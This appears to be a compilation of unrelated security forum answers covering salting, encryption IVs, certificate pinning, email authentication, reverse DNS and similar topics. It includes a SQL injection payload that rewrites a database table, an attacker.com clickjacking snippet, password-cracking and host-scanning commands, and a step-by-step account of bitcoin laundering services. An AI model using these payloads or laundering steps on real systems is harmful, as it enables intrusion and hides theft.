What is the etymology of "Salt" in relation to password storage?

If you want to talk about salt and keep things simple, think about a pizza:

Because you can not expect a better answer from serious and smart people:

  Does anybody know the salt's etymology in this context? Rob.desbois
  14:45, 5 June 2006 (UTC)

  Nope. But I expect it's connected to the concept of salting a site with something, as in mining fraud. I got curious about this long ago
  and seem to remember the OED has an entry of some antiquity. ww 18:53,
  5 June 2006 (UTC)

  I would guess salting the earth is the most likely source. The actual data is "spoiled" to make it more difficult for an adversary to
  use. JRM · Talk 12:17, 1 July 2006 (UTC)

  Ah, nice suggestions you guys have. Here's the way I usually think of it: Salt is our most common spice. So I tend to think
  of it as the salt "spices up" the password/key. Of course, then
  perhaps it should be called "pepper" instead. But also, salt is a well
  known flavour enhancer. That is, adding some salt to food makes the
  other tastes in the food stronger. (I don't know why it works like
  that, but it is a well known fact). And the salt in cryptography does
  make the password/key stronger. So I think "salt" is an excellent word
  for it in many ways. And it is a short word, easy to spell and
  pronounce, easy to translate to all other languages and doesn't change
  cultural meaning when translated. It's perfect! --David Göthberg
  11:58, 25 October 2006 (UTC)

  Hmmm... I suspect we have here some folk etymology which is nearly always plausible -- else it wouldn't have been
  proposed and paased around -- but is often off the actual mark. The
  first point I'd make is that, to my sense of the language, salt isn't
  a spice. Spices are exotic (or were exotic once), tend to be plant
  products (shredded tree bark, for instance), are used in quite small
  quantities, and are entirely optional, nuitritionally. Salt doesn't
  meet any of those tests, but perhaps my sense of 'spice' is at
  variance with that of other English speakers. I can burn water without
  half trying, after all. I wonder if there is a similar distinction in
  other languages; there appears not to be one such in Swedish
  (Davidgothberg's native tongue if I understand correctly).

  My personal, completely unsubstantiated guess is that it comes from the phrase "take it with a grain of salt".
  Tomfelker 23:22, 22 October 2007 (UTC)

  But I like the etymology/analogy whether folk or not. ww 14:06, 25 October 2006 (UTC)

  I've always presumed that the origin of "salt" is as a sort of back-analogy with the fact that you seed a PRNG=Pseudorandom number
  generator. The bit of gibberish that you feed to PRNG is a seed
  because it's the start of things and what it is determines everything
  that then happens (what plant grows out of that pot depends on whether
  the seed is a geranium seed or a sunflower seed.) So you try to
  generate a bit of unpredictable gibberish as a seed. However, when you
  generate a similar value, but if it is input not to a PRNG, but to a
  hashing algorithm, you're not actually using as a seed to anything.
  So, salt is a nicely similar-sounding word (phonologically: each
  starts with an 's', has a double-mora syllabic nucleus, and ends in a
  consonant that differs from the other only in voicedness, otherwise
  just being alveolar stops)— and it has a sort of sense of "aptness"
  that invites folk etymologies like we see here. Compare: "spice" in
  "Hasty Pudding cipher: Encryption_and_decryption". --Sburke (talk)
  12:11, 17 March 2013 (UTC)

(Talk:Salt(Cryptography))


Which Windows Files Should be Monitored by HIDS?

A reasonable approach here might be to see what existing HIDS products do in this regard.  If we take OSSEC as an example, per the book on their site has a long list of both files and registry keys that are monitored for changes (P84 in the linked PDF)

In general windows system files are mostly in c:\windows, so a lot of files to be monitored will be in that location.


Ways to secure administrative pages of a portable site

Certificates may be generated automatically on the server upon first launch. The EFF is even building a project, Let's Encrypt, precisely targeting automated generation, configuration and update of browser-trusted certificates.


How to "trust" data that is posted from one application to other

Use something like JWT, where a shared secret is used to sign and to verify the data

If the signature the valid the other service can trust the data, and if the signature on the response is valid you can know that the response is valid too.

it may be worth-while using different secrets for each hop

You may need to implement serial numbers in addition to this to prevent replay acttacks.


You can upload the infected file to VirusTotal and get results from more AVs, maybe you'll get another names for the mallware. For example in this report, the reporter states that is it Trojan.GrayBird - unfortunatelly he does not explain his statement. I you search VirusTotal for "kryptik" there are few comments that it is a fake AV.

  Backdoor.Graybird is a back door Trojan Horse that gives its creator unauthorized access to your computer. The existence of the file, Svch0st.exe, is an indication of a possible infection. Backdoor.Graybird is a Delphi application.


Why are ransomware attackers not tracked down via bitcoin transactions?

There is a chance that once the bitcoins have been converted into ‘real money’ or ‘real assets’ the ledger could leak information on the owners of those bit coins. But even then tracking and attribution can be very complex, but in answer to your question the reason in this case is probably that the attacker(s) haven’t ‘cashed’ them in yet.

Depending on who carried out the attack they may never do anything with the bitcoin they have as their attack may not have been financially motivated.

There are ways to launder bitcoins using services such as Bitlaundry, Bitmix or Bitcoinlaundry.

These laundry services work as follows: (credit to the description below)

Imagine that Alice wishes to send bitcoins to Bob.
Bob, sadly, is not well liked. Alice would rather not have anyone know that she sent Bob bitcoins.
So, Alice puts Bob's address in the form at BitLaundry.
Alice gets a one-time-use address from BitLaundry.
Alice sends the money to that address.
BitLaundry sends money out to recipients every 30 minutes.
(But, it doesn't send out Alice's money immediately, that might be suspicious..)
So, a random number of 30 minute segments later, BitLaundry sends the money out to Bob.
BitLaundry then deletes the database link between the one-time-use address and Bob.
Alice has sent money to BitLaundry, but people do this all the time. She's one of many.
BitLaundry has sent money to Bob, but BitLaundry has sent money out to a whole bunch of other people as well.
Alice and Bob are much less linked than they would have been otherwise.


Should I be concerned with fake accounts registered on my website?

I can't think of any reason why someone would want or need to create fake accounts with us.

I think the basic answer to that is that someone will, and at least part of the reason might be because they can.

Your SDK page mentions that you send an email to the address provided to confirm account details, which presumably means the batch of addresses you are concerned about have been verified (i.e. before actually creating the account, you have ensured the address used for registration is owned by the entity making the registration).

In which case, short of generic things like monitoring account resource usage and general activity, there isn't really a lot it seems you can do.
The registrations followed the same flow as a genuine user would.

If you have a concern about these accounts, then I guess it you could consider banning/disabling them and seeing if the users get in touch (or heavily limit their account quotas).

I don't know, though, if 3/4 registrations a day for something like this from a domain like 163.com (or gmail.com, for that matter) is hugely significant - or whether it might be people hearing about your site.
Even over a couple of weeks, that's under 60 accounts, and it might be a short spike.

But do consider having a plan to identify accounts that abuse your service, and a mechanism for dealing with them.


Keep OpenPGP revocation certificate in safe place?

Anybody with access to your revocation certificate is able to revoke your key, with you losing all reputation in the OpenPGP web of trust in consequence (but that's it, he will not gain access to your private key).

You can put it anywhere you like – it might just not be reasonable. How bad this would be and how much the gain of a less secure storage would be is your decision. Anyway: be aware you will (hopefully) never need it. Though, if you have to expect your key to be stolen at any time with a reasonably high chance, it might be a good idea to have the revocation certificate at hand all time. You will have to find the balance between availability and security, where exactly to go depends on your needs and must be your decision.

Cloud hosters should never be considered save nor trustworthy.

I'd recommend to additionally create a QR code with the certificate, print it a few times and store it in your bank safe or with somebody you trust, for example your parents. You can create such a QR code using gpg --armor --gen-revoke [Key-ID] | qrencode (probably you will add some options, but make sure to print it next to the code, just in case...).


How to defend against invalid UTF7/8 that hides a  tag?

Your first line of defence should be input sanitization. In other words, make sure that you only accept valid UTF-8 or whatever other format you are expecting.

Going the route of string replacement is based on black-listing. Black-listing is always one step behind and, because of this, won't work. Your second line of defence (after sanitizing) should be White-listing instead.


Can a TLS HMAC be used after the fact to verify the authenticity of a message?

Note that your description is missing an important party: that to whom you wish to prove you did not alter the message.  The question really is, can that party trust you not to produce a message you didn't exchange with the other party in the TLS session.

The answer is no, because you have saved the key, and thus you can generate valid tags for any messages as you like, which you might not have sent to the other end of the TLS connection.


Private and public key need to have same algorithm?

Normally the private and public key will be generated as a keypair in which they use the algorithm to generate that keypair. so obviously the keys will be mathematically related each other, otherwise it wont.


Is my system infected with Operation Windigo in Kali Linux?

It would be nice to know why you assume being infected. You usually should get warnings from your ISP that your system has outgoing connections to a dropzone server, alternatively if you run Snort it should be able to detect it. You can disable your internet connection and deactivate iptables so you can see the connection attempts.

If your system is infected on root level you have to wipe it, also all SSH keys are compromised. Also check all systems in your network.


John the Ripper exclude incremental mode from another incremental mode

You could use something like crunch to generate wordlists that contain at least one lowercase letter.

Then feed this wordlist into John use the --wordlist option:

john hashes.txt --wordlist=generated_from_crunch.txt


What drives security controls in cloud models: Business requirements? Or SLAs?

The SLA is in place to mandate that service levels are achieved in order to meet Business Requirements. Business Requirements trumps everything else. I get your reasoning above but SLAs are not standalone and sit between the security controls and the business requirements. The SLA may be used to measure the security controls but they're in place to meet business requirements rather than just for the sake of it.


Why rijndael.key value is different with rijndael.iv?

By implementing your own encryption, you're doing a bunch of things wrong here. I don't know if this is a toy project to learn about encryption (nice!) or if this is supposed to be actually used by anyone, even yourself (don't do that).

The IV and key have very different functions and should not have overlapping values (the IV will be half the length, because indeed it is 16 bytes in length and the key is 32 bytes, but should absolutely not be the same value). The reason why deriving bytes from the same Rfc2898DeriveBytes object gives different results, is because it just continues the keystream. If you want the same value twice, you need to reinitialize the object so it starts again from the beginning. But that's not what you want, anyway.

The key is, well, the secret key. The IV is a unique value that is not secret, it just makes the encryption unique and allows multiple encryption operations (up to a certain number) to be done with the same key. (In algorithms that do not have an IV parameter, like RC4, using the same key twice can lead to full decryption. That's why an IV is useful and important.)

Deriving the IV from a secret key, which is what Rfc2898DeriveBytes will do, is a very bad idea. It means that the IV will be the same every time. Instead, you should generate the IV from a CSPRNG, such as Crypto.getRandomValues() in JavaScript or RNGCryptoServiceProvider in C#. You can attach the IV value to the encrypted value, typically in front of it so that you don't have to read the whole message to configure your algorithm.

All this can already be found in other questions. See:

AES using derived keys / IVs. Does it introduce a weakness?
When using AES and CBC, is it necessary to keep the IV secret?
Why does IV not need to be secret in AES CBC encryption?

Finally, you will want to be using authenticated encryption. This question explains what the role of authentication codes with encryption is: MAC vs Encryption


= =

For clarity, that is:

[space][space]=[space]=[space]

The reason this works is because there's only one replace pass running on the input string. In this original string, there's only one instance of "[space]=[space]". When it's removed, there's now a new instance of "[space]=[space]" left over, but replace only scans through the string left-to-right once.

This technique is general to cases where replace is used once to remove a string from another string. Consider the code input.replace(/blue/g, ''). If you gave the string "my favorite color is blblueue", the inner "blue" will be removed, leaving just "my favorite color is blue".


Determining false positives when scanning for live hosts with Nmap

you can use the flag -PE, which performs a ICMP echo
as an example:

  nmap -sn -n -PE 192.168.1.1-255

or for a cleaner result

  nmap -sn -n -PE 192.168.1.1-255 | grep report | cut -d" " -f5


What file formats are known to be unsafe?

Some formats can be called inherently insecure due to their complexity and their history of use as attack vectors. Adobe PDF and MS Office files come to mind. Any kind of binary executable is certainly problematic unless sandboxing is deployed.

But in general it depends on the application that is used to open the file, not the file itself. Even simple formats that cannot embed executable code can be parsed by an application in the wrong way, leading to bugs and potential vulnerabilities. Similarly, the sandboxing application may have bugs that allow executable code to escalate its privileges, so I would rate a sandboxed executable about as dangerous as complex file formats.

It may be possible to have relatively secure file formats by using a data format that can be checked automatically, using an automatically generated parser that does not need any information about the file type except the used grammar. I think the ASN.1 format is a candidate for this. But this kind of technology is used almost nowhere.


So in short, the only way to ensure an optimum security with the KeePass plugins is to review their codes by yourself.

The only problem is that some of them are open source, some others are not. Moreover in case of an open source plugin, you can't be sure the PLGX file you downloaded really correspond to the public available source code. Therefore either you generate the PLGX file by yourself or you review the code of the PLGX file directly.

I chose the second solution as it also allows to review the code of non-open source plugins.

I modified a tiny bit the code of KeePass 2.35 in order to achieve that. The project with installation instruction is available at https://github.com/jmevel/KeePassPluginsSourceCode

The code is quite simple and resides in the KeePass/Plugins/PlgxCsprojLoader.cs file only.

I won't provide you the keepass.exe file directly because it doesn't make sense, you have to compile it by yourself. Otherwise how would you know what this .exe file is really doing...?

Happy code review everybody!


ensuring integrity of a sequence of jpeg files

An answer to your question depends on the context of your problem and attack you're worried about.

What is the same for every solution is that you can use a chain of hashes to link a new jpeg file to a chain of previous files.

If you have 3 files (a, b and c) and a hash function H, basically you calculate

head = H(a).

When the next file b comes along, you do

head = H(b | head)

and then for c

head = H(c | head)

You can then verify that nobody modified the jpg files by recalculating the whole chain of hashes and comparing it to the chain you already have.

The problem with this is that an attacker can manipulate or delete files a, b or c and recalculate the chain of hashes from the point of the first manipulation onwards.

The solution to this depends on your circumstances.

You trust the host which builds the hash chain

If the host is secure from tampering by an attacker, you can do as schroeder suggests and use public key cryptography to sign each new hash with your private key. This doesn't become computationally more intensive the longer the chain grows. You only ever calculate a hash over one jpg file and the last hash. You'll need to include the signature in the hash calculation of the chain.

Note that an attacker who can manipulate both the jpg files and the hash chain on another machine which wants to verify the chain can still throw away the last n files and their signed hashes, so if your jpg files aren't created regularly, it will be very difficult to detect an attacker which simply removes the last n files even if you add timestamps.

You don't trust the host which builds the hash chain

If you don't think the host is safe from attack, you have two options:

Either use an trusted external service to create and sign the next hash given a new jpg file hash. This host will keep track of the last hash in the chain and provide it to anyone who wants to verify the chain, so that the shortening attack described in the last section can be foiled.

or

Add a proof of work so that the host needs to spend a serious amount of time computing the next valid hash. Bitcoin does this by requiring each new block's hash to start with a certain number of 0's (its a bit more complicated, but you get the picture), so in order to find a valid block, you need to play around with a few adjustable fields in the block header until you end up with a valid hash. You can adapt this to your problem, too.

The idea here is that if an attacker wanted to change the chain of hashes, he would need to duplicate the amount of work that went into creating it. This becomes harder the farther back in the chain a manipulation is attempted. Since you seem to be running on a Pi zero, duplicating the work on a much faster processor seems easy, so the proof-of-work probably won't work for you.

Even if it was feasible, it still breaks when faced with the shortening attack. You really can't get around this problem without storing the length of the chain (or the last hash, or whatever) in a trusted location the attacker can't modify.

Using a blockchain

You could also use a preexisting blockchain, such as the bitcoin or ethereum blockchain. You could get your file hashes into the bitcoin blockchain, for example, by creating a new transaction for each new jpg file and storing the file hash as transaction metadata.

This would solve all the problems, but depending on how fast you needed the transactions to get incorporated into the blockchain, it would cost you money.


The Perspective addon does distributed certificate pinning. Certificate pinning means to associate a particular certificate to a particular host, so that any changes can be noted. This is mainly to help prevent man-in-the-middle (MITM) attacks.

For example, say that when you visit https://www.eff.org/ on Monday, the security certificate for that site was issued by Comodo, with an expiry date of 2017. Certificate pinning software would alert you if you visit the same site on Tuesday, but this time the certificate is from TeliaSonera.

Distributed certificate pinning means that various different devices around the world collaborate to compare the certificates that they have each seen, thus making it extremely difficult for a MITM attack to go undetected.

Perspectives is configured to have a threshold of "disagreement", and will show a warning if a certain number of notary servers disagree, are unresponsive, or can't be contacted.

From their Firefox Extension page:

  If your local network uses a proxy or firewall to access the Internet,
  it may prevent Perspectives from reaching notaries. As a result, all
  sites will fail verification

In this case, I've done a quick test. The default threshold is 75%, and there are 10 notaries in the default list. At the moment, 3 of those notaries don't seem to be responding. Therefore even if all 7 working notaries agree, you only have 7/10 = 70% agreement, which is below the threshold.

This means that by default, every HTTPS site will cause a "Perspectives has NOT seen this certificate consistently" warning. I tested with 7 HTTPS sites and got the warning for every single page.

So my take on this is:

Your connection is probably secure and not faked.
The error is probably transient caused by a combination of default
settings that err on the side of caution, and what may be temporary
issues with the default notaries.
The fingerprints from different sites should be different, as each
certificate has a different fingerprint.

I would suggest reducing the "Percentage of notaries that must agree" setting to 60%, which still gives good protection and does not cause this false alarm.


How to Perform SQL insert or update command using SQL injection

Lets say the application uses the id parameter (which is in your example 8) to create the following query:

SELECT * FROM news WHERE id=8 and active=1

If the parameter id is injectable, you could for example in the URL instead of 8 enter the following:

8; UPDATE table_name SET filed=123456 --

That would turn the first query into:

SELECT * FROM news WHERE id=8; UPDATE table_name SET filed=123456 -- and active=1

With ; you are closing the first query, and with -- you are commenting out if anything remained from the first query.


The best site I found for this is SkullSecurity. It does have huge collection of passwords. Some were leaked during real attacks, so they are pretty recent.


How do we protect our server from anonymous hacker?

The first thing to acknowledge is that there is nothing special about attacks from an organization such as anonymous.

Please note that I'm not saying that you should not try to protect yourself from those hacking groups.  What i am saying is that, unless you are specifically targeted or are part of a target scheme by a group, those organizations' attacks will be the same as the many attack attempts that security professionals see every day.

The only time that a group such as anonymous will actually change security initiatives is when you start looking into APTs (advanced persistent threat).  If you are not familiar with the term, or even if you are, i suggest that you take some time researching what an APT is (there is no clear definition).

The best defense against that kind of threat is the bolstering of current industry security practices.  This means a combination of tools;  use security information/event management (SIM/SEM) technologies, intrusion detection/protection system (IDS/IPS) technologies, network behavioral analysis (NBA) technologies, proxys, anti-virus, firewalls, etc.  Making a more comprehensive solution and paying more attention to changes in your environment is what needs to be done.

The idea that some organization is deliberately using a multitude of different technologies/techniques together to attack your system requires the use of a multitude of defense technologies/techniques that are correlated to defend against it.

So, the simple answer is this...  There is no different way to defend against organizations such as anonymous, use the tools and techniques that already exist and keep a watchful eye.


SSL certificate to protect spoofing of API server

Providing the certificate is pre-installed with the python program, then you are right: only your server will be able to identify itself to the client.

In this setup, from a security perspective, the difference between a self-signed certificate and one signed by a trusted CA is that if your server's private key was to be compromised, someone might identify a fake server as the valid one to the client which would not detect it, and you wouldn't be able to revoke this certificate. Note that this can be a very serious issue as well.


Purpose of Initialization Vector in File Encryption and Authentication (FEA)?

Assuming AES is being used in any mode other than ECB, the IV is used in the AES encryption (the actual encryption is E_{Ks,IV}(F), not just E_{Ks}(F)). Every mode of operation for AES that I'm aware of except for ECB mode requires an initialization vector, that is used for different things depending on the mode (in CTR it's used to produce the keystream; in CBC it's XORed with the first plaintext, etc.) Now, the IV does not need to be secret, so you could just concatenate it to the whole message; I'm not sure why it's encrypted with RSA, instead of having

C = E_{PKB}(Ks) || IV || E_{Ks,IV}(F) || Sig_{SKA} (E_PKB(Ks) || IV || E_{Ks,IV}(F))

But that's why it's present in the first place.


Stealing information is not easily possible and not what Clickjacking is really about.

Clickjacking is functionally similar to CSRF, in that you can perform actions on the site across origins, but you cannot retrieve information.

With Clickjacking, you can perform any click actions, and potentially also enter text by dragging it into the iframe (depending on the browser). But you cannot drag text out of the iframe, because the same origin policy prevents that.

  I know we can use Ctrl+C for copying leaking text on web page and Ctrl+V for pasting the copied token on the input box for hijacking.

That's a neat idea, but it requires some unlikely user interaction.

For a quick example, consider this:

// attacker.com/clickjack.html

Copy this (double click -> CTRL+C)

<input type="text" placeholder="to here (CTRL+V)" oninput="alert('stolen: ' + this.value)">

// example.com/steal.html
secret

For a successful attack, a user would need to double-click on the upper-left of the page (certainly doable), press CTRL+C (unlikely), select the input, and press CTRL+V (also unlikely).

This would also only work in Firefox, as Chrome doesn't allow selecting invisible text.

You could likely improve on the attack, for example by "highlighting" the overlay text ("Copy this") once the page loses focus (so it looks as if the double click actually selected that text, instead of the text in the iframe). You can further improve the attack using JavaScript and the usual advanced Clickjacking techniques (automatically tracking the mouse cursor, etc).

There shouldn't be any way to steal source code this way (you can't use view-source:... as a src in an iframe)


Email verification by sending mail instead of receiving

Relying just on a mail claimed to be send by a specific user will neither be sufficient not practical to verify the sender, even with SPF and/or DKIM validation.

Neither SPF nor DKIM validate the sender of the email in the first place. They verify at most that a mail was send using a mail server which is allowed to send mail for the claimed domain - where the claimed domain is unrelated to the domain in From field in the mail header (i.e. what is usually seen as the senders address). Only DMARC will align the domain in the From field of the mail header with the claimed domain in the SMTP dialog (SPF) or the DKIM-Signature (DKIM).

Even then - this will only align the domain part but not the actually full address. Thus relying only on this would allow attacker@example.com to claim in the From field of the mail header to be goodguy@example.com and neither SPF nor DKIM nor DMARC would complain.

In addition to that it is common to have domain often explicitly allow service providers (like Office365, Mailchimp,...) to send mail in their name by adding their IP addresses or domains to the SPF policy or providing them with the key needed for DKIM. These service provider have the infrastructure typically shared between all clients which badly affects the granularity SPF would offer and also means that somebody except the domain owner can send DKIM signed mails with the owners domain.

Apart from being insufficient to validate the sender it would also require the clients infrastructure to have DMARC and at least one of SPF or DKIM properly implemented - which only very few have.


Efficient and simple way of securing home pc with hardware token

EDIT: I was mistaken; Truecrypt cannot natively use USB device drivers for pre-boot authentication.  However, Yubikey appears to have a solution that can be used for their pre-boot authentication system as long as it is set up for "static mode".  This is interesting since it means that there is -- technically -- a way to allow USB-based authentication.  The Truecrypt docs are not clear at all that they do not support FDE with USB-based keyfiles.

Considering you've already looked at using Truecrypt, then ensure that full HD encryption is enabled and simply drop a keyfile onto your USB device.  USB is ubiquitous and the same device can be used to host multiple keyfiles for different systems.  Remember to make backups to prevent bit-rot and device failure.  This previous question has some thoughts on this (and more).


E-Mail Web Client: How to handle credentials

Since your web mail client is just a front end to some existing email account you can simply use the IMAP/POP login information as the login information for your web mail client. In this case you don't need to store any credentials permanently for retrieving the mail.

Since you probably need access to the credentials while the user is still logged into your web mail application and you don't want to ask the user again, you might include the credentials in encrypted form inside the session cookie, for example as encrypted payload inside a JWT based cookie.

While many (most?) mail providers have the same credentials for IMAP/POP and for SMTP they might be different for some providers. In this case you could encrypt the SMTP credentials with a key derived from the IMAP/POP credentials so that they are only accessible for somebody having the IMAP/POP credentials already. You might then store this encrypted credentials in a database or you might store it only at the client side, for example in the browsers local storage or in some cookie with a really long expiration time. Storing these encrypted information at the client side has the advantage that no sensitive client information need to be stored at the server side at all.


how does iran blocks domains in tls connection but not based on ip

What you seem to be seeing is related to Server Name Indication, which is basically the TLS equivalent of HTTP's Host: header.

Per that same wikipedia article:

  Therefore, with clients and servers that implement SNI, a server with a single IP address can serve a group of domain names for which it is impractical to get a common certificate.

Practically, SNI is basically a record sent during the TLS session setup - the High Performance Browser Networking book provides an overview of the handshake, and also provides a specific section on SNI, summarised as:

  The TLS+SNI workflow is identical to Host header advertisement in HTTP, where the client indicates the hostname of the site it is requesting: the same IP address may host many different domains, and both SNI and Host are required to disambiguate between them.

tl;dr: SNI allows an observer to identify the specific domain a TLS request relates to. It can also be used, as was recently reported by FireEye, to obfuscate the 'real' target of a connection - e.g. you can have an SNI to google.com, but a Host: header for youtube, and this (currently) will allow you to browse content from youtube without exposing the fact.


ARP request replay attack - why do APs work the way they do?

Why do wireless access points encrypt ARP packets in the first place?

The data payload of all [non-802.11 management] frames from the client to the AP (and vice versa) are encrypted when encryption is use. ARP is simply another frame that is handled exactly as every other frame.

The AP will not accept unencrypted frames from a client once encryption has been established. If it did, this would open the door for a wide number of attacks that were spoofed to imitate a valid client.

  Why are wireless access points programmed to repeat ARP packets injected into the network?

Because ARP is broadcast (generally speaking - there are directed ARPs, but those are limited case and not used in this case) throughout the L2 domain so that the device with the L3 address will receive it and respond.

If the AP did not do so, this would break ARP functionality for every device on the L2 domain. Clients connected to the device wouldn't even be able to find their own default gateway's MAC address via ARP.


Can an XOR cipher be broken if the plaintext is an incrementing number?

A clever attacker can probably find some information about the rate at which new content is being created.

Since you're always XORing the primary keys with the same secret key, you'll always see a bit flip in the ciphertext at the same time that it flips in the plaintext. This means that you can tell when the primary key rolls over to a larger number, such as here:

01111111
10000000

or, when ciphered with 11100010 as a key:

10011101
01100010

This leaks some information about the growth rate, especially if the attacker is capable of generating content at will.

...of course, if each ID corresponds to a piece of content, then can't the attacker just look at how many there is?

To get back to your original question, though, there shouldn't be a trivial way to find the key, as long as you never leak any private ID values. If an attacker gets a piece of plaintext and the corresponding ciphertext, you're hosed:

A XOR K XOR A = K


Best practices for relatively simple API for our clients

Edit: Clarified based on use case

First off, no system is perfect. Engineering is the art of making the best tradeoffs.

For backend-to-backend APIs (e.g. your server app and 3rd party API service) - API keys are really good. Most issues with API keys comes from developers neglecting how they store them (in code => commit to github public repos etc). API keys are

high entropy strings
can be revoked instantly
don't auto-expire (great for machine automation I.e. APIs)

Many security companies like Amazon (cloud provider), Stripe (payments) or Crypteron (data security as a service) use API keys. If you're the API creator, you absolutely must design-in

a proper API key lifecycle management (customer developers can refresh API keys without much intervention) and
should strictly enforce TLS.

As a consumer of API keys, ideally you want separate API keys for development vs production, so your dev team doesn't see production data. Basically have dev resource/instances vs production resources/instances

Things change for end-user to back-end communications i.e. mobile phone app => your server app. In this case, you really don't want to use API keys because you're technically authenticating end users - not an API itself. If you use a static API key, anyone can disassemble the mobile app binary and scan for the API key. You won't know when that happens, but even if you knew, you instantly need to update all clients with a new API key - and you're back at square 1.

Basically, never use API keys in client apps like mobile apps or browser apps. Ever. It's as bad as having clients directly connect to your DB rather than having a web/app server in the middle.

You're better off with cached credentials + basic authentication + TLS for a two party system (user, your service). If one is using a 3rd party to verify identity (e.g. Facebook), OAuth is another option to orchestrate between the three parties (user, Facebook, your service). Based on your concern, I'm assuming your end-user clients (mobile or browser) are directly connecting to Slim Framework's REST end points? Slim Framework seems to supports basic authentication so that plus TLS should be a good starting point. If you have specific concerns, clarify them in the question.

Disclosure: I work for Crypteron. Check us out!


Preventing resubmission and replay attack using client nonce in REST API

A client-side nonce presents three difficulties:

how does the client know when to generate a new nonce? (What actions constitute a new request such that a new nonce should be generated for it?)
how does the server know what's a valid nonce? Can a hypothetical attacker-supplied 4gb blob be a nonce?
how does the server know how many nonces to keep and for how long?

A server-provided nonce provides two benefits:

less for the client to do
the server knows what to expect next

The server doesn't have to keep a record of all nonces, just the current one, and it can be deleted when the first valid request with it arrives. A new nonce can be sent with the response.

This model enforces a one-request-in-flight interaction model. Should there be a desire for multiple concurrent requests, the server can produce a block of nonces, but the challenge again is that client needs a model for differentiating between unique requests, ensuring that each user action doesn't result in pulling a new nonce from the local pool. This difficulty should suggest structuring the app in a way such that only one nonce-required request be in flight at a time.


In short, yes, it is very helpful if you have a deep comprehension of networks and operating systems to start with. You cannot secure what you do not understand. Your teacher is right about what they have told you.

Within information security, there are many specific careers you could have -- penetration tester (white hat hacker), security manager (more corporate), cryptography (more math-oriented), systems security (more system admin work), network security etc. Please see the domains of CISSP certification for example: http://library.ahima.org/doc?oid=107038#.WeBKrMiGPIU

I would recommend starting with the basics of networks, systems, and software first and then touching upon the various domains of information security. From there on, choose what you would like to specialiaze in within information security and focus on that.


Risk of connecting found pendrives to USB ports

TLDR: The risk is very real.  It's the equivalent of giving someone with malicious a keyboard, a network interface, storage, etc... but not showing them the screen.

I think @eckes' comment sums it up nicely.  True, a USB-kill dongle is of course a real thing, but has indeed limited "damaging" aspects.

If properly setup, USB Dongles can mimic anything USB related (keyboards, NIC's, etc) or a combination thereof.  Tools such as the Hak5 rubberducky or Samy Kamkar's PoisoinTap show the possibilities.  It can siphon out information, implant malware, etc; which is a significant concern (data, operations-wise), wa more than physical damage.


The computer needs to be separated from the rest of the environment using either a host-based firewall or a network firewall with defined rules as outlined in Requirement 1. Here are some things to consider:

Outbound rules: generally the workstation can initiate outbound connections to your file share or your SQL Server.
Inbound rules: this is where you are segmenting the workstation, which is your cardholder data environment, from non-CDE systems. You would want very tight inbound rules with a final Deny All rule.
Connected systems: any machine or device that connects to the workstation will be considered connected systems. Systems such as domain controllers, patching servers, antivirus servers, etc. that provide services to the workstation are generally considered connected systems. Connected systems must be secured to PCI standards because they can provide a path into the CDE. Connected systems should be considered in-scope for an assessment. For more information about connected systems see PCI Scoping Tool.

For more information about workstations as a CDE, see How Does PCI DSS Apply to Individual PCs or Workstations and What is SAQ C-VT. As stated in the "What is SAQ C-VT" FAQ, "merchants using virtual terminal solutions should consult with their acquirer (merchant bank)."


How to create same ssh key pair on different systesm at different times

Is it possible to generate same ssh key pair on multiple systems?

No. That would not be secure. The key pair should be unique, and are made in a fashion that attempts to ensure this. As no communication happens during generation, no hard guarantee can be made, but they can be big enough that the chance of a collission is essentially zero.
To have the same keys multiple places, copy them. They are plain text files, which can be copied. But a better alternative would probably be to generate one key pair per system, and all desired public keys to the hosts you connect to. That way, you can revoke a single key pair if you loose control of it's private key.


From man symlink(2):

The permissions of a symbolic link are irrelevant; the ownership
is ignored when following the link

So no, without write permissions on the file, you may not edit it.
There is also not a "symlink file"; the symlink is just a pointer to another file.


172.16.x.x is a reserved LAN IP, meaning your workplace has likely a proxy for traffic outbound to the Internet that must be intercepting your nmap scan.  This is why you are getting a different IP and different results when scanning from work versus scanning from home.


Reply from “nsa.gov” while pinging “gen.lib.rus.ec”

It is a joke :)

What you are seeing is the PTR record for 96.14.200.91.in-addr.arpa, otherwise known as the reverse dns for ip 91.200.14.96.

The reverse records for ip-adresses are delegated to the owners, and they can set the response to be whatever they like.

If you run the command: dig -t PTR +trace 96.14.200.91.in-addr.arpa, you can see which nameserver that have configured the PTR/Reverse DNS-record.

The output is truncated for readability:

14.200.91.in-addr.arpa. 172800  IN  NS  ns1.vhoster.net.
14.200.91.in-addr.arpa. 172800  IN  NS  ns2.vhoster.net.
14.200.91.in-addr.arpa. 3600    IN  NSEC    140.200.91.in-addr.arpa. NS RRSIG NSEC
14.200.91.in-addr.arpa. 3600    IN  RRSIG   NSEC 8 5 3600 20180518163550 20180418153550 23854 91.in-addr.arpa. SZdra/lg7c9+Arxp2hgfd3DvB2T0KMmxfSm6rzsGtLbuGPc5PEnYZPI7 qP5qoqpNXQXbNYxBKIKZn/3Q3ijPSoZZhbr83ABf9SLjuVswvSY1Wrrr dzu7bbLWxjIKe6U7tN+57LqgfY71dHVO8chaZAHwoj0JAxBnVbiLqUvD E5Y=
;; Received 321 bytes from 193.0.9.5#53(pri.authdns.ripe.net) in 10 ms

96.14.200.91.in-addr.arpa. 3600 IN  PTR nsa.gov.
14.200.91.in-addr.arpa. 3600    IN  NS  ns2.vhoster.net.
14.200.91.in-addr.arpa. 3600    IN  NS  ns1.vhoster.net.
;; Received 122 bytes from 91.200.14.2#53(ns1.vhoster.net) in 47 ms

As you can see, the answer is coming ns1.vhoster.net, which is responsible for the PTR-record for 91.200.14.96.

There are many other interesting reverse records in the 91.200.14.0/24 range:

12.14.200.91.in-addr.arpa domain name pointer disney.com.
61.14.200.91.in-addr.arpa domain name pointer bot.4.
251.14.200.91.in-addr.arpa domain name pointer whitehouse.gov.

Check all of them here

Can this be a security problem? Yes, potentially. If the reverse-dns is not threated as untrusted input, it can lead to different problems.

If an application only log connections based on PTR-records instead
of IP-address, you lose traceability.
If the reverse-dns is used as part of an SQL-command, it might be used
to conduct an sql-injection attack.
If used in HTML-documents, unsanitized PTR-records can be used for
HTML-injection/XSS attacks.


Could it be possible to diminish the damage of having one's VPS inspected by the host?

If you don't own the physical server, you cannot protect yourself. A VPS is virtual, so the hypervisor have total and absolute access to any data inside it. It can start a memory dump, or clone the disk, and your server don't even know.

They don't have to login, or take screenshots, or even reboot in a maintenance mode. They own the memory, they own the disk, they own the processors. They can even clone your VPS disk, put it on another VPS, and access everything. And all monitoring programs you have will not detect anything at all.

